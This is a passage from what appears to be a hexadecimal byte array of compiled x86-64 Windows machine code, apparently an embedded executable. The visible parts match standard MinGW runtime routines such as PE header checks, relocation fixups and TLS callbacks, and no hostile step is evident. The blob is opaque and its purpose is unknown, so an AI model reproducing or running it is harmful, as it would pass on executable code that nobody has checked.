C,0x30,0x48,0x8D,0x6C,0x24,0x30,0x48,0x89,0xCB,0x48,0x8D,0x45,0x28,0xB9,0x02,0x00,0x00,0x00,0x48,0x89,0x55,0x28,0x4C,0x89,0x45,0x30,0x4C,0x89,0x4D,0x38,0x48,0x89,0x45,0xF8,0xE8,0x73,0x0C,0x00,0x00,0x41,0xB8,0x1B,0x00,0x00,0x00,0xBA,0x01,0x00,0x00,0x00,0x48,0x8D,0x0D,0x01,0x36,0x00,0x00,0x49,0x89,0xC1,0xE8,0x49,0x0E,0x00,0x00,0x48,0x8B,0x75,0xF8,0xB9,0x02,0x00,0x00,0x00,0xE8,0x4B,0x0C,0x00,0x00,0x48,0x89,0xDA,0x48,0x89,0xC1,0x49,0x89,0xF0,0xE8,0x9D,0x0E,0x00,0x00,0xE8,0x10,0x0E,0x00,0x00,0x90,0x0F,0x1F,0x80,0x00,0x00,0x00,0x00,0x55,0x57,0x56,0x53,0x48,0x83,0xEC,0x58,0x48,0x8D,0x6C,0x24,0x50,0x48,0x63,0x35,0xC0,0x80,0x00,0x00,0x48,0x89,0xCB,0x85,0xF6,0x0F,0x8E,0x11,0x01,0x00,0x00,0x48,0x8B,0x05,0xB2,0x80,0x00,0x00,0x45,0x31,0xC9,0x48,0x83,0xC0,0x18,0x0F,0x1F,0x00,0x4C,0x8B,0x00,0x4C,0x39,0xC3,0x72,0x13,0x48,0x8B,0x50,0x08,0x8B,0x52,0x08,0x49,0x01,0xD0,0x4C,0x39,0xC3,0x0F,0x82,0x88,0x00,0x00,0x00,0x41,0x83,0xC1,0x01,0x48,0x83,0xC0,0x28,0x41,0x39,0xF1,0x75,0xD8,0x48,0x89,0xD9,0xE8,0x40,0x08,0x00,0x00,0x48,0x89,0xC7,0x48,0x85,0xC0,0x0F,0x84,0xE6,0x00,0x00,0x00,0x48,0x8B,0x05,0x65,0x80,0x00,0x00,0x48,0x8D,0x1C,0xB6,0x48,0xC1,0xE3,0x03,0x48,0x01,0xD8,0x48,0x89,0x78,0x20,0xC7,0x00,0x00,0x00,0x00,0x00,0xE8,0x53,0x09,0x00,0x00,0x8B,0x57,0x0C,0x41,0xB8,0x30,0x00,0x00,0x00,0x48,0x8D,0x0C,0x10,0x48,0x8B,0x05,0x37,0x80,0x00,0x00,0x48,0x8D,0x55,0xD0,0x48,0x89,0x4C,0x18,0x18,0xFF,0x15,0x58,0x9F,0x00,0x00,0x48,0x85,0xC0,0x0F,0x84,0x7E,0x00,0x00,0x00,0x8B,0x45,0xF4,0x8D,0x50,0xFC,0x83,0xE2,0xFB,0x74,0x08,0x8D,0x50,0xC0,0x83,0xE2,0xBF,0x75,0x14,0x83,0x05,0x01,0x80,0x00,0x00,0x01,0x48,0x83,0xC4,0x58,0x5B,0x5E,0x5F,0x5D,0xC3,0x0F,0x1F,0x40,0x00,0x83,0xF8,0x02,0x48,0x8B,0x4D,0xD0,0x48,0x8B,0x55,0xE8,0x41,0xB8,0x40,0x00,0x00,0x00,0xB8,0x04,0x00,0x00,0x00,0x44,0x0F,0x44,0xC0,0x48,0x03,0x1D,0xD7,0x7F,0x00,0x00,0x48,0x89,0x4B,0x08,0x49,0x89,0xD9,0x48,0x89,0x53,0x10,0xFF,0x15,0xEE,0x9E,0x00,0x00,0x85,0xC0,0x75,0xB6,0xFF,0x15,0x94,0x9E,0x00,0x00,0x48,0x8D,0x0D,0x25,0x35,0x00,0x00,0x89,0xC2,0xE8,0x66,0xFE,0xFF,0xFF,0x66,0x0F,0x1F,0x44,0x00,0x00,0x31,0xF6,0xE9,0x21,0xFF,0xFF,0xFF,0x48,0x8B,0x05,0x9A,0x7F,0x00,0x00,0x8B,0x57,0x08,0x48,0x8D,0x0D,0xC8,0x34,0x00,0x00,0x4C,0x8B,0x44,0x18,0x18,0xE8,0x3E,0xFE,0xFF,0xFF,0x48,0x89,0xDA,0x48,0x8D,0x0D,0x94,0x34,0x00,0x00,0xE8,0x2F,0xFE,0xFF,0xFF,0x90,0x66,0x66,0x2E,0x0F,0x1F,0x84,0x00,0x00,0x00,0x00,0x00,0x0F,0x1F,0x00,0x55,0x41,0x57,0x41,0x56,0x41,0x55,0x41,0x54,0x57,0x56,0x53,0x48,0x83,0xEC,0x48,0x48,0x8D,0x6C,0x24,0x40,0x44,0x8B,0x25,0x44,0x7F,0x00,0x00,0x45,0x85,0xE4,0x74,0x17,0x48,0x8D,0x65,0x08,0x5B,0x5E,0x5F,0x41,0x5C,0x41,0x5D,0x41,0x5E,0x41,0x5F,0x5D,0xC3,0x66,0x0F,0x1F,0x44,0x00,0x00,0xC7,0x05,0x1E,0x7F,0x00,0x00,0x01,0x00,0x00,0x00,0xE8,0x69,0x07,0x00,0x00,0x48,0x98,0x48,0x8D,0x04,0x80,0x48,0x8D,0x04,0xC5,0x0F,0x00,0x00,0x00,0x48,0x83,0xE0,0xF0,0xE8,0xB2,0x09,0x00,0x00,0x4C,0x8B,0x2D,0x7B,0x35,0x00,0x00,0x48,0x8B,0x1D,0x84,0x35,0x00,0x00,0xC7,0x05,0xEE,0x7E,0x00,0x00,0x00,0x00,0x00,0x00,0x48,0x29,0xC4,0x48,0x8D,0x44,0x24,0x30,0x48,0x89,0x05,0xE3,0x7E,0x00,0x00,0x4C,0x89,0xE8,0x48,0x29,0xD8,0x48,0x83,0xF8,0x07,0x7E,0x90,0x8B,0x13,0x48,0x83,0xF8,0x0B,0x0F,0x8F,0x03,0x01,0x00,0x00,0x8B,0x03,0x85,0xC0,0x0F,0x85,0x69,0x02,0x00,0x00,0x8B,0x43,0x04,0x85,0xC0,0x0F,0x85,0x5E,0x02,0x00,0x00,0x8B,0x53,0x08,0x83,0xFA,0x01,0x0F,0x85,0x92,0x02,0x00,0x00,0x48,0x83,0xC3,0x0C,0x4C,0x39,0xEB,0x0F,0x83,0x56,0xFF,0xFF,0xFF,0x4C,0x8B,0x35,0x3E,0x35,0x00,0x00,0x41,0xBF,0xFF,0xFF,0xFF,0xFF,0xEB,0x65,0x66,0x0F,0x1F,0x44,0x00,0x00,0x83,0xF9,0x08,0x0F,0x84,0xD7,0x00,0x00,0x00,0x83,0xF9,0x10,0x0F,0x85,0x50,0x02,0x00,0x00,0x0F,0xB7,0x37,0x81,0xE2,0xC0,0x00,0x00,0x00,0x66,0x85,0xF6,0x0F,0x89,0xCC,0x01,0x00,0x00,0x48,0x81,0xCE,0x00,0x00,0xFF,0xFF,0x48,0x29,0xC6,0x4C,0x01,0xCE,0x85,0xD2,0x75,0x12,0x48,0x81,0xFE,0x00,0x80,0xFF,0xFF,0x7C,0x65,0x48,0x81,0xFE,0xFF,0xFF,0x00,0x00,0x7F,0x5C,0x48,0x89,0xF9,0xE8,0x61,0xFD,0xFF,0xFF,0x66,0x89,0x37,0x48,0x83,0xC3,0x0C,0x4C,0x39,0xEB,0x0F,0x83,0xD1,0x00,0x00,0x00,0x8B,0x03,0x8B,0x53,0x08,0x8B,0x7B,0x04,0x4C,0x01,0xF0,0x0F,0xB6,0xCA,0x4C,0x8B,0x08,0x4C,0x01,0xF7,0x83,0xF9,0x20,0x0F,0x84,0x0C,0x01,0x00,0x00,0x76,0x82,0x83,0xF9,0x40,0x0F,0x85,0xDB,0x01,0x00,0x00,0x48,0x8B,0x37,0x89,0xD1,0x48,0x29,0xC6,0x4C,0x01,0xCE,0x81,0xE1,0xC0,0x00,0x00,0x00,0x0F,0x85,0x42,0x01,0x00,0x00,0x48,0x85,0xF6,0x78,0xAF,0x48,0x89,0x74,0x24,0x20,0x89,0xCA,0x49,0x89,0xF8,0x48,0x8D,0x0D,0xD4,0x33,0x00,0x00,0xE8,0x87,0xFC,0xFF,0xFF,0x0F,0x1F,0x80,0x00,0x00,0x00,0x00,0x85,0xD2,0x0F,0x85,0x68,0x01,0x00,0x00,0x8B,0x43,0x04,0x89,0xC2,0x0B,0x53,0x08,0x0F,0x85,0xF4,0xFE,0xFF,0xFF,0x48,0x83,0xC3,0x0C,0xE9,0xDE,0xFE,0xFF,0xFF,0x90,0x0F,0xB6,0x37,0x81,0xE2,0xC0,0x00,0x00,0x00,0x40,0x84,0xF6,0x0F,0x89,0x26,0x01,0x00,0x00,0x48,0x81,0xCE,0x00,0xFF,0xFF,0xFF,0x48,0x29,0xC6,0x4C,0x01,0xCE,0x85,0xD2,0x75,0x0F,0x48,0x81,0xFE,0xFF,0x00,0x00,0x00,0x7F,0x97,0x48,0x83,0xFE,0x80,0x7C,0x91,0x48,0x89,0xF9,0x48,0x83,0xC3,0x0C,0xE8,0x92,0xFC,0xFF,0xFF,0x40,0x88,0x37,0x4C,0x39,0xEB,0x0F,0x82,0x35,0xFF,0xFF,0xFF,0x66,0x0F,0x1F,0x44,0x00,0x00,0x8B,0x15,0x4E,0x7D,0x00,0x00,0x85,0xD2,0x0F,0x8E,0x03,0xFE,0xFF,0xFF,0x48,0x8B,0x35,0x6B,0x9C,0x00,0x00,0x31,0xDB,0x48,0x8D,0x7D,0xFC,0x0F,0x1F,0x44,0x00,0x00,0x48,0x8B,0x05,0x31,0x7D,0x00,0x00,0x48,0x01,0xD8,0x44,0x8B,0x00,0x45,0x85,0xC0,0x74,0x0D,0x48,0x8B,0x50,0x10,0x48,0x8B,0x48,0x08,0x49,0x89,0xF9,0xFF,0xD6,0x41,0x83,0xC4,0x01,0x48,0x83,0xC3,0x28,0x44,0x3B,0x25,0x06,0x7D,0x00,0x00,0x7C,0xD0,0xE9,0xBC,0xFD,0xFF,0xFF,0x0F,0x1F,0x00,0x8B,0x37,0x81,0xE2,0xC0,0x00,0x00,0x00,0x85,0xF6,0x79,0x74,0x49,0xBB,0x00,0x00,0x00,0x00,0xFF,0xFF,0xFF,0xFF,0x4C,0x09,0xDE,0x48,0x29,0xC6,0x4C,0x01,0xCE,0x85,0xD2,0x75,0x1C,0x4C,0x39,0xFE,0x0F,0x8F,0xEF,0xFE,0xFF,0xFF,0x48,0xB8,0xFF,0xFF,0xFF,0x7F,0xFF,0xFF,0xFF,0xFF,0x48,0x39,0xC6,0x0F,0x8E,0xDC,0xFE,0xFF,0xFF,0x48,0x89,0xF9,0xE8,0xE1,0xFB,0xFF,0xFF,0x89,0x37,0xE9,0x7C,0xFE,0xFF,0xFF,0x66,0x2E,0x0F,0x1F,0x84,0x00,0x00,0x00,0x00,0x00,0x48,0x89,0xF9,0xE8,0xC8,0xFB,0xFF,0xFF,0x48,0x89,0x37,0xE9,0x62,0xFE,0xFF,0xFF,0x48,0x29,0xC6,0x4C,0x01,0xCE,0x85,0xD2,0x0F,0x84,0x37,0xFE,0xFF,0xFF,0xE9,0x44,0xFE,0xFF,0xFF,0x0F,0x1F,0x44,0x00,0x00,0x48,0x29,0xC6,0x4C,0x01,0xCE,0x85,0xD2,0x74,0x99,0xEB,0xB3,0x0F,0x1F,0x40,0x00,0x48,0x29,0xC6,0x4C,0x01,0xCE,0x85,0xD2,0x0F,0x84,0xDD,0xFE,0xFF,0xFF,0xE9,0xE7,0xFE,0xFF,0xFF,0x0F,0x1F,0x44,0x00,0x00,0x4C,0x39,0xEB,0x0F,0x83,0x08,0xFD,0xFF,0xFF,0x4C,0x8B,0x35,0xF0,0x32,0x00,0x00,0x8B,0x73,0x04,0x8B,0x3B,0x48,0x83,0xC3,0x08,0x4C,0x01,0xF6,0x03,0x3E,0x48,0x89,0xF1,0xE8,0x5A,0xFB,0xFF,0xFF,0x89,0x3E,0x4C,0x39,0xEB,0x72,0xE3,0xE9,0xCE,0xFE,0xFF,0xFF,0x89,0xCA,0x48,0x8D,0x0D,0xED,0x31,0x00,0x00,0xE8,0xD0,0xFA,0xFF,0xFF,0x48,0x8D,0x0D,0xA9,0x31,0x00,0x00,0xE8,0xC4,0xFA,0xFF,0xFF,0x90,0x90,0x90,0x90,0x55,0x41,0x55,0x41,0x54,0x57,0x56,0x53,0x48,0x83,0xEC,0x28,0x48,0x8D,0x6C,0x24,0x20,0x4C,0x8D,0x2D,0x28,0x7C,0x00,0x00,0x4C,0x89,0xE9,0xFF,0x15,0xB7,0x9A,0x00,0x00,0x48,0x8B,0x1D,0xF8,0x7B,0x00,0x00,0x48,0x85,0xDB,0x74,0x38,0x4C,0x8B,0x25,0xF4,0x9A,0x00,0x00,0x48,0x8B,0x3D,0xA5,0x9A,0x00,0x00,0x0F,0x1F,0x44,0x00,0x00,0x8B,0x0B,0x41,0xFF,0xD4,0x48,0x89,0xC6,0xFF,0xD7,0x48,0x85,0xF6,0x74,0x0D,0x85,0xC0,0x75,0x09,0x48,0x8B,0x43,0x08,0x48,0x89,0xF1,0xFF,0xD0,0x48,0x8B,0x5B,0x10,0x48,0x85,0xDB,0x75,0xDB,0x4C,0x89,0xE9,0x48,0x83,0xC4,0x28,0x5B,0x5E,0x5F,0x41,0x5C,0x41,0x5D,0x5D,0x48,0xFF,0x25,0x8D,0x9A,0x00,0x00,0x0F,0x1F,0x44,0x00,0x00,0x55,0x57,0x56,0x53,0x48,0x83,0xEC,0x28,0x48,0x8D,0x6C,0x24,0x20,0x8B,0x05,0x95,0x7B,0x00,0x00,0x89,0xCF,0x48,0x89,0xD6,0x85,0xC0,0x75,0x14,0x31,0xC0,0x48,0x83,0xC4,0x28,0x5B,0x5E,0x5F,0x5D,0xC3,0x66,0x0F,0x1F,0x84,0x00,0x00,0x00,0x00,0x00,0xBA,0x18,0x00,0x00,0x00,0xB9,0x01,0x00,0x00,0x00,0xE8,0x81,0x08,0x00,0x00,0x48,0x89,0xC3,0x48,0x85,0xC0,0x74,0x33,0x48,0x89,0x70,0x08,0x48,0x8D,0x35,0x6E,0x7B,0x00,0x00,0x89,0x38,0x48,0x89,0xF1,0xFF,0x15,0xFB,0x99,0x00,0x00,0x48,0x8B,0x05,0x3C,0x7B,0x00,0x00,0x48,0x89,0xF1,0x48,0x89,0x1D,0x32,0x7B,0x00,0x00,0x48,0x89,0x43,0x10,0xFF,0x15,0x10,0x9A,0x00,0x00,0xEB,0xA2,0x83,0xC8,0xFF,0xEB,0x9F,0x90,0x55,0x56,0x53,0x48,0x83,0xEC,0x20,0x48,0x8D,0x6C,0x24,0x20,0x8B,0x05,0x16,0x7B,0x00,0x00,0x89,0xCB,0x85,0xC0,0x75,0x10,0x31,0xC0,0x48,0x83,0xC4,0x20,0x5B,0x5E,0x5D,0xC3,0x66,0x0F,0x1F,0x44,0x00,0x00,0x48,0x8D,0x35,0x11,0x7B,0x00,0x00,0x48,0x89,0xF1,0xFF,0x15,0xA0,0x99,0x00,0x00,0x48,0x8B,0x0D,0xE1,0x7A,0x00,0x00,0x48,0x85,0xC9,0x74,0x2F,0x31,0xD2,0xEB,0x13,0x0F,0x1F,0x84,0x00,0x00,0x00,0x00,0x00,0x48,0x89,0xCA,0x48,0x85,0xC0,0x74,0x1B,0x48,0x89,0xC1,0x8B,0x01,0x39,0xD8,0x48,0x8B,0x41,0x10,0x75,0xEB,0x48,0x85,0xD2,0x74,0x26,0x48,0x89,0x42,0x10,0xE8,0xD5,0x07,0x00,0x00,0x48,0x89,0xF1,0xFF,0x15,0x8C,0x99,0x00,0x00,0x31,0xC0,0x48,0x83,0xC4,0x20,0x5B,0x5E,0x5D,0xC3,0x66,0x2E,0x0F,0x1F,0x84,0x00,0x00,0x00,0x00,0x00,0x48,0x89,0x05,0x89,0x7A,0x00,0x00,0xEB,0xD5,0x0F,0x1F,0x80,0x00,0x00,0x00,0x00,0x55,0x53,0x48,0x83,0xEC,0x28,0x48,0x8D,0x6C,0x24,0x20,0x83,0xFA,0x02,0x0F,0x84,0xAC,0x00,0x00,0x00,0x77,0x2A,0x85,0xD2,0x74,0x46,0x8B,0x05,0x68,0x7A,0x00,0x00,0x85,0xC0,0x0F,0x84,0xB8,0x00,0x00,0x00,0xC7,0x05,0x56,0x7A,0x00,0x00,0x01,0x00,0x00,0x00,0xB8,0x01,0x00,0x00,0x00,0x48,0x83,0xC4,0x28,0x5B,0x5D,0xC3,0x66,0x90,0x83,0xFA,0x03,0x75,0xED,0x8B,0x05,0x3D,0x7A,0x00,0x00,0x85,0xC0,0x74,0xE3,0xE8,0x0C,0xFE,0xFF,0xFF,0xEB,0xDC,0x66,0x2E,0x0F,0x1F,0x84,0x00,0x00,0x00,0x00,0x00,0x8B,0x05,0x22,0x7A,0x00,0x00,0x85,0xC0,0x75,0x6E,0x8B,0x05,0x18,0x7A,0x00,0x00,0x83,0xF8,0x01,0x75,0xBD,0x48,0x8B,0x1D,0x04,0x7A,0x00,0x00,0x48,0x85,0xDB,0x74,0x18,0x0F,0x1F,0x80,0x00,0x00,0x00,0x00,0x48,0x89,0xD9,0x48,0x8B,0x5B,0x10,0xE8,0x14,0x07,0x00,0x00,0x48,0x85,0xDB,0x75,0xEF,0x48,0x8D,0x0D,0x00,0x7A,0x00,0x00,0x48,0xC7,0x05,0xD5,0x79,0x00,0x00,0x00,0x00,0x00,0x00,0xC7,0x05,0xD3,0x79,0x00,0x00,0x00,0x00,0x00,0x00,0xFF,0x15,0x75,0x98,0x00,0x00,0xE9,0x72,0xFF,0xFF,0xFF,0xE8,0x3B,0x04,0x00,0x00,0xB8,0x01,0x00,0x00,0x00,0x48,0x83,0xC4,0x28,0x5B,0x5D,0xC3,0x0F,0x1F,0x80,0x00,0x00,0x00,0x00,0xE8,0x83,0xFD,0xFF,0xFF,0xEB,0x8B,0x90,0x48,0x8D,0x0D,0xB9,0x79,0x00,0x00,0xFF,0x15,0x73,0x98,0x00,0x00,0xE9,0x36,0xFF,0xFF,0xFF,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x31,0xC0,0x66,0x81,0x39,0x4D,0x5A,0x75,0x0F,0x48,0x63,0x51,0x3C,0x48,0x01,0xD1,0x81,0x39,0x50,0x45,0x00,0x00,0x74,0x08,0xC3,0x0F,0x1F,0x80,0x00,0x00,0x00,0x00,0x31,0xC0,0x66,0x81,0x79,0x18,0x0B,0x02,0x0F,0x94,0xC0,0xC3,0x0F,0x1F,0x40,0x00,0x48,0x63,0x41,0x3C,0x48,0x01,0xC1,0x0F,0xB7,0x41,0x14,0x44,0x0F,0xB7,0x41,0x06,0x48,0x8D,0x44,0x01,0x18,0x66,0x45,0x85,0xC0,0x74,0x32,0x41,0x8D,0x48,0xFF,0x48,0x8D,0x0C,0x89,0x4C,0x8D,0x4C,0xC8,0x28,0x0F,0x1F,0x84,0x00,0x00,0x00,0x00,0x00,0x44,0x8B,0x40,0x0C,0x4C,0x89,0xC1,0x4C,0x39,0xC2,0x72,0x08,0x03,0x48,0x08,0x48,0x39,0xCA,0x72,0x0B,0x48,0x83,0xC0,0x28,0x4C,0x39,0xC8,0x75,0xE3,0x31,0xC0,0xC3,0x55,0x57,0x56,0x53,0x48,0x83,0xEC,0x28,0x48,0x8D,0x6C,0x24,0x20,0x48,0x89,0xCE,0xE8,0x63,0x06,0x00,0x00,0x48,0x83,0xF8,0x08,0x77,0x7D,0x48,0x8B,0x15,0x6E,0x2F,0x00,0x00,0x31,0xDB,0x66,0x81,0x3A,0x4D,0x5A,0x75,0x5B,0x48,0x63,0x42,0x3C,0x48,0x01,0xD0,0x81,0x38,0x50,0x45,0x00,0x00,0x75,0x4C,0x66,0x81,0x78,0x18,0x0B,0x02,0x75,0x44,0x0F,0xB7,0x50,0x14,0x48,0x8D,0x5C,0x10,0x18,0x0F,0xB7,0x50,0x06,0x66,0x85,0xD2,0x74,0x44,0x8D,0x42,0xFF,0x48,0x8D,0x04,0x80,0x48,0x8D,0x7C,0xC3,0x28,0xEB,0x0F,0x66,0x0F,0x1F,0x44,0x00,0x00,0x48,0x83,0xC3,0x28,0x48,0x39,0xFB,0x74,0x27,0x41,0xB8,0x08,0x00,0x00,0x00,0x48,0x89,0xF2,0x48,0x89,0xD9,0xE8,0xFE,0x05,0x00,0x00,0x85,0xC0,0x75,0xE2,0x48,0x89,0xD8,0x48,0x83,0xC4,0x28,0x5B,0x5E,0x5F,0x5D,0xC3,0x66,0x0F,0x1F,0x44,0x00,0x00,0x31,0xDB,0x48,0x89,0xD8,0x48,0x83,0xC4,0x28,0x5B,0x5E,0x5F,0x5D,0xC3,0x66,0x2E,0x0F,0x1F,0x84,0x00,0x00,0x00,0x00,0x00,0x48,0x8B,0x15,0xD9,0x2E,0x00,0x00,0x31,0xC0,0x66,0x81,0x3A,0x4D,0x5A,0x75,0x10,0x4C,0x63,0x42,0x3C,0x49,0x01,0xD0,0x41,0x81,0x38,0x50,0x45,0x00,0x00,0x74,0x08,0xC3,0x0F,0x1F,0x80,0x00,0x00,0x00,0x00,0x66,0x41,0x81,0x78,0x18,0x0B,0x02,0x75,0xEF,0x41,0x0F,0xB7,0x40,0x14,0x48,0x29,0xD1,0x49,0x8D,0x44,0x00,0x18,0x45,0x0F,0xB7,0x40,0x06,0x66,0x45,0x85,0xC0,0x74,0x34,0x41,0x8D,0x50,0xFF,0x48,0x8D,0x14,0x92,0x4C,0x8D,0x4C,0xD0,0x28,0x66,0x2E,0x0F,0x1F,0x84,0x00,0x00,0x00,0x00,0x00,0x44,0x8B,0x40,0x0C,0x4C,0x89,0xC2,0x4C,0x39,0xC1,0x72,0x08,0x03,0x50,0x08,0x48,0x39,0xD1,0x72,0xAC,0x48,0x83,0xC0,0x28,0x4C,0x39,0xC8,0x75,0xE3,0x31,0xC0,0xC3,0x48,0x8B,0x05,0x59,0x2E,0x00,0x00,0x31,0xC9,0x66,0x81,0x38,0x4D,0x5A,0x75,0x0F,0x48,0x63,0x50,0x3C,0x48,0x01,0xD0,0x81,0x38,0x50,0x45,0x00,0x00,0x74,0x09,0x89,0xC8,0xC3,0x66,0x0F,0x1F,0x44,0x00,0x00,0x66,0x81,0x78,0x18,0x0B,0x02,0x75,0xEF,0x0F,0xB7,0x48,0x06,0x89,0xC8,0xC3,0x66,0x0F,0x1F,0x84,0x00,0x00,0x00,0x00,0x00,0x4C,0x8B,0x05,0x19,0x2E,0x00,0x00,0x31,0xC0,0x66,0x41,0x81,0x38,0x4D,0x5A,0x75,0x0F,0x49,0x63,0x50,0x3C,0x4C,0x01,0xC2,0x81,0x3A,0x50,0x45,0x00,0x00,0x74,0x08,0xC3,0x0F,0x1F,0x80,0x00,0x00,0x00,0x00,0x66,0x81,0x7A,0x18,0x0B,0x02,0x75,0xF0,0x0F,0xB7,0x42,0x14,0x44,0x0F,0xB7,0x42,0x06,0x48,0x8D,0x44,0x02,0x18,0x66,0x45,0x85,0xC0,0x74,0x2C,0x41,0x8D,0x50,0xFF,0x48,0x8D,0x14,0x92,0x48,0x8D,0x54,0xD0,0x28,0x0F,0x1F,0x80,0x00,0x00,0x00,0x00,0xF6,0x40,0x27,0x20,0x74,0x09,0x48,0x85,0xC9,0x74,0xBD,0x48,0x83,0xE9,0x01,0x48,0x83,0xC0,0x28,0x48,0x39,0xC2,0x75,0xE8,0x31,0xC0,0xC3,0x66,0x66,0x2E,0x0F,0x1F,0x84,0x00,0x00,0x00,0x00,0x00,0x66,0x90,0x48,0x8B,0x05,0x99,0x2D,0x00,0x00,0x31,0xD2,0x66,0x81,0x38,0x4D,0x5A,0x75,0x0F,0x48,0x63,0x48,0x3C,0x48,0x01,0xC1,0x81,0x39,0x50,0x45,0x00,0x00,0x74,0x09,0x48,0x89,0xD0,0xC3,0x0F,0x1F,0x44,0x00,0x00,0x66,0x81,0x79,0x18,0x0B,0x02,0x48,0x0F,0x44,0xD0,0x48,0x89,0xD0,0xC3,0x66,0x2E,0x0F,0x1F,0x84,0x00,0x00,0x00,0x00,0x00,0x48,0x8B,0x15,0x59,0x2D,0x00,0x00,0x31,0xC0,0x66,0x81,0x3A,0x4D,0x5A,0x75,0x10,0x4C,0x63,0x42,0x3C,0x49,0x01,0xD0,0x41,0x81,0x38,0x50,0x45,0x00,0x00,0x74,0x08,0xC3,0x0F,0x1F,0x80,0x00,0x00,0x00,0x00,0x66,0x41,0x81,0x78,0x18,0x0B,0x02,0x75,0xEF,0x48,0x29,0xD1,0x45,0x0F,0xB7,0x48,0x06,0x41,0x0F,0xB7,0x50,0x14,0x49,0x8D,0x54,0x10,0x18,0x66,0x45,0x85,0xC9,0x74,0xD7,0x41,0x8D,0x41,0xFF,0x48,0x8D,0x04,0x80,0x4C,0x8D,0x4C,0xC2,0x28,0x66,0x2E,0x0F,0x1F,0x84,0x00,0x00,0x00,0x00,0x00,0x44,0x8B,0x42,0x0C,0x4C,0x89,0xC0,0x4C,0x39,0xC1,0x72,0x08,0x03,0x42,0x08,0x48,0x39,0xC1,0x72,0x0C,0x48,0x83,0xC2,0x28,0x4C,0x39,0xCA,0x75,0xE3,0x31,0xC0,0xC3,0x8B,0x42,0x24,0xF7,0xD0,0xC1,0xE8,0x1F,0xC3,0x0F,0x1F,0x80,0x00,0x00,0x00,0x00,0x4C,0x8B,0x1D,0xC9,0x2C,0x00,0x00,0x45,0x31,0xC0,0x66,0x41,0x81,0x3B,0x4D,0x5A,0x41,0x89,0xCA,0x75,0x0F,0x49,0x63,0x4B,0x3C,0x4C,0x01,0xD9,0x81,0x39,0x50,0x45,0x00,0x00,0x74,0x0C,0x4C,0x89,0xC0,0xC3,0x0F,0x1F,0x84,0x00,0x00,0x00,0x00,0x00,0x66,0x81,0x79,0x18,0x0B,0x02,0x75,0xEC,0x8B,0x81,0x90,0x00,0x00,0x00,0x85,0xC0,0x74,0xE2,0x0F,0xB7,0x51,0x14,0x44,0x0F,0xB7,0x49,0x06,0x48,0x8D,0x54,0x11,0x18,0x66,0x45,0x85,0xC9,0x74,0xCE,0x41,0x8D,0x49,0xFF,0x48,0x8D,0x0C,0x89,0x4C,0x8D,0x4C,0xCA,0x28,0x0F,0x1F,0x44,0x00,0x00,0x44,0x8B,0x42,0x0C,0x4C,0x89,0xC1,0x4C,0x39,0xC0,0x72,0x08,0x03,0x4A,0x08,0x48,0x39,0xC8,0x72,0x14,0x48,0x83,0xC2,0x28,0x49,0x39,0xD1,0x75,0xE3,0x45,0x31,0xC0,0x4C,0x89,0xC0,0xC3,0x0F,0x1F,0x40,0x00,0x4C,0x01,0xD8,0xEB,0x0B,0x0F,0x1F,0x00,0x41,0x83,0xEA,0x01,0x48,0x83,0xC0,0x14,0x8B,0x48,0x04,0x85,0xC9,0x75,0x07,0x8B,0x50,0x0C,0x85,0xD2,0x74,0xD7,0x45,0x85,0xD2,0x7F,0xE5,0x44,0x8B,0x40,0x0C,0x4D,0x01,0xD8,0x4C,0x89,0xC0,0xC3,0x90,0x90,0xDB,0xE3,0xC3,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x51,0x50,0x48,0x3D,0x00,0x10,0x00,0x00,0x48,0x8D,0x4C,0x24,0x18,0x72,0x19,0x48,0x81,0xE9,0x00,0x10,0x00,0x00,0x48,0x83,0x09,0x00,0x48,0x2D,0x00,0x10,0x00,0x00,0x48,0x3D,0x00,0x10,0x00,0x00,0x77,0xE7,0x48,0x29,0xC1,0x48,0x83,0x09,0x00,0x58,0x59,0xC3,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0xB8,0x01,0x00,0x00,0x00,0xC3,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x45,0x31,0xC0,0x48,0x89,0xC8,0x48,0x85,0xD2,0x75,0x14,0xEB,0x17,0x0F,0x1F,0x00,0x48,0x83,0xC0,0x01,0x49,0x89,0xC0,0x49,0x29,0xC8,0x49,0x39,0xD0,0x73,0x05,0x80,0x38,0x00,0x75,0xEC,0x4C,0x89,0xC0,0xC3,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x45,0x31,0xC0,0x48,0x89,0xD0,0x48,0x85,0xD2,0x75,0x0E,0xEB,0x17,0x0F,0x1F,0x00,0x49,0x83,0xC0,0x01,0x4C,0x39,0xC0,0x74,0x0B,0x66,0x42,0x83,0x3C,0x41,0x00,0x75,0xEF,0x4C,0x89,0xC0,0xC3,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x55,0x53,0x48,0x83,0xEC,0x28,0x48,0x8D,0x6C,0x24,0x20,0x89,0xCB,0xE8,0x8E,0x01,0x00,0x00,0x89,0xD9,0x48,0x8D,0x14,0x49,0x48,0xC1,0xE2,0x04,0x48,0x01,0xD0,0x48,0x83,0xC4,0x28,0x5B,0x5D,0xC3,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x48,0x85,0xC9,0x74,0x12,0x66,0x0F,0xEF,0xC0,0x31,0xC0,0x48,0xC7,0x41,0x10,0x00,0x00,0x00,0x00,0x0F,0x11,0x01,0xC3,0xB8,0xFF,0xFF,0xFF,0xFF,0xC3,0x0F,0x1F,0x00,0x55,0x41,0x54,0x57,0x56,0x53,0x48,0x83,0xEC,0x20,0x48,0x8D,0x6C,0x24,0x20,0x48,0x89,0xCB,0x48,0x89,0xD7,0x48,0x85,0xC9,0x0F,0x84,0xB2,0x00,0x00,0x00,0xB9,0x08,0x00,0x00,0x00,0xE8,0x40,0x01,0x00,0x00,0x48,0x83,0x3B,0x00,0x74,0x6A,0x48,0x8B,0x53,0x08,0x48,0x8B,0x43,0x10,0x48,0x39,0xC2,0x74,0x25,0x48,0x8D,0x42,0x08,0xB9,0x08,0x00,0x00,0x00,0x48,0x89,0x43,0x08,0x48,0x89,0x3A,0xE8,0x28,0x01,0x00,0x00,0x31,0xC0,0x48,0x83,0xC4,0x20,0x5B,0x5E,0x5F,0x41,0x5C,0x5D,0xC3,0x0F,0x1F,0x00,0x48,0x8B,0x0B,0x48,0x89,0xD6,0x48,0x29,0xCE,0x49,0x89,0xF4,0x49,0xC1,0xFC,0x03,0x49,0xC